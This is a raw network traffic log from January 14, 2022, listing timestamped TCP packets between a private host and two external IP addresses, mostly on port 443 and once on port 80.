Jan 14, 2022 20:30:05.357933998 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.359256983 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.359302044 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.359335899 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.359347105 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.359371901 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.359392881 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.381263971 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.381316900 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.381352901 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.381376028 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.381402969 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.381424904 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.381791115 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.381836891 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.381865025 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.381884098 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.381901026 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.381927967 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.404392958 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.404443026 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.404491901 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.404510021 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.404536963 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.404560089 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.404828072 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.404869080 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.404901981 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.404911995 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.404942036 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.404961109 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.427742958 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.427792072 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.427849054 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.427870035 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.427895069 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.427915096 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.428563118 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.428603888 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.428647041 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.428658009 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.428675890 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.428703070 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.450926065 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.450979948 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.451031923 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.451052904 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.451066971 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.451289892 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.451339006 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.451358080 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.451369047 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.451392889 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.451415062 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.454869986 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.454920053 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.454953909 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.454974890 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.454984903 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.457722902 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.474227905 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.474261045 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.474332094 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.474350929 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.474376917 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.474400997 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.475239038 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.475271940 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.475336075 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.475347042 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.475372076 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.475389957 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.477984905 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.478014946 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.478087902 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.478105068 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.478151083 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.497883081 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.497914076 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.497986078 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.498002052 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.498012066 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.498687029 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.498713970 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.498752117 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.498764038 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.498778105 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.498812914 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.501271963 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.501296997 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.501367092 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.501384020 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.501432896 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.521351099 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.521383047 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.521490097 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.521514893 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.521567106 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.522061110 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.522085905 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.522121906 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.522135019 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.522160053 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.522183895 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.524646997 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.524673939 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.524780035 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.524797916 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.524838924 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.544677973 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.544711113 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.544755936 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.544778109 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.544790983 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.545245886 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.545269966 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.545311928 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.545327902 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.545344114 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.545372009 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.547712088 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.547734022 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.547804117 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.547827959 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.547885895 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.567881107 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.567914009 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.568052053 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.568078995 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.568124056 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.568434954 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.568474054 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.568511963 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.568526030 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.568548918 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.568600893 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.570888042 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.570920944 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.570985079 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.571000099 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.571053028 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.590939999 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.590977907 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.591027975 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.591056108 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.591070890 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.591185093 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.591492891 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.591523886 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.591568947 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.591581106 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.591628075 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.591661930 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.592295885 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.592325926 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.592363119 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.592376947 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.592412949 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.592439890 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.614048958 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.614088058 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.614130020 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.614146948 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.614176989 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.614200115 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.614401102 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.614432096 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.614470959 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.614484072 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.614511967 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.614535093 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.615300894 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.615334034 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.615375042 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.615385056 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.615416050 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.615442038 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.617372036 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.617403984 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.617463112 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.617477894 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.617527008 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.637454987 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.637485027 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.637552977 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.637577057 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.637593985 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.637629986 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.638031960 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.638053894 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.638138056 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.638159990 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.638228893 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.638838053 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.638864040 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.638950109 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.638969898 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.638983965 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.639076948 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.640923023 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.640950918 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.640997887 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.641009092 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.641042948 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.641064882 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.660960913 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.660993099 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.661042929 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.661056042 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.661093950 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.661117077 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.661675930 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.661703110 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.661748886 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.661755085 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.661801100 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.661839008 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.662369013 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.662403107 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.662472963 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.662483931 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.662550926 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.664681911 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.664714098 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.664787054 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.664803028 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.664855957 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.684473038 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.684526920 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.684566021 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.684578896 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.684621096 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.684644938 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.685113907 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.685153008 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.685188055 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.685195923 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.685226917 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.685247898 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.685686111 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.685726881 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.685765982 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.685772896 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.685808897 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.685828924 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.687428951 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.687469006 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.687515020 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.687522888 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.687562943 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.707724094 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.707775116 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.707815886 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.707828999 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.707865000 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.707920074 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.708712101 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.708754063 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.708786011 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.708796978 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.708833933 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.708868980 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.709237099 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.709280014 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.709336996 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.709345102 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.709383011 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.709414959 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.710643053 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.710673094 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.710798025 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.710807085 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.710937977 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.730740070 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.730776072 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.730865955 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.730881929 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.730953932 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.731496096 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.731548071 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.731597900 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.731607914 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.731663942 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.732521057 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.732562065 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.732686996 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.732696056 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.732759953 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.733130932 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.733172894 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.733227968 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.733238935 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.733308077 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.734618902 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.734658003 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.734703064 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.734711885 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.734782934 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.754575014 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.754637957 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.754692078 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.754708052 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.754740953 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.754786015 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.755192995 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.755233049 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.755276918 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.755285025 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.755316973 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.755335093 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.756611109 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.756648064 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.756689072 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.756699085 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.756761074 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.756764889 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.757036924 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.757078886 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.757126093 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.757133961 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.757155895 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.757184029 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.758230925 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.758270025 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.758306980 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.758316994 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.758358955 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.758398056 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.766608000 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:05.778220892 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.778274059 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.778327942 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.778341055 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.778379917 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.778400898 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.778743982 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.778784990 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.778851032 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.778858900 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.778887987 CET	49890	443	192.168.2.4	144.76.136.153
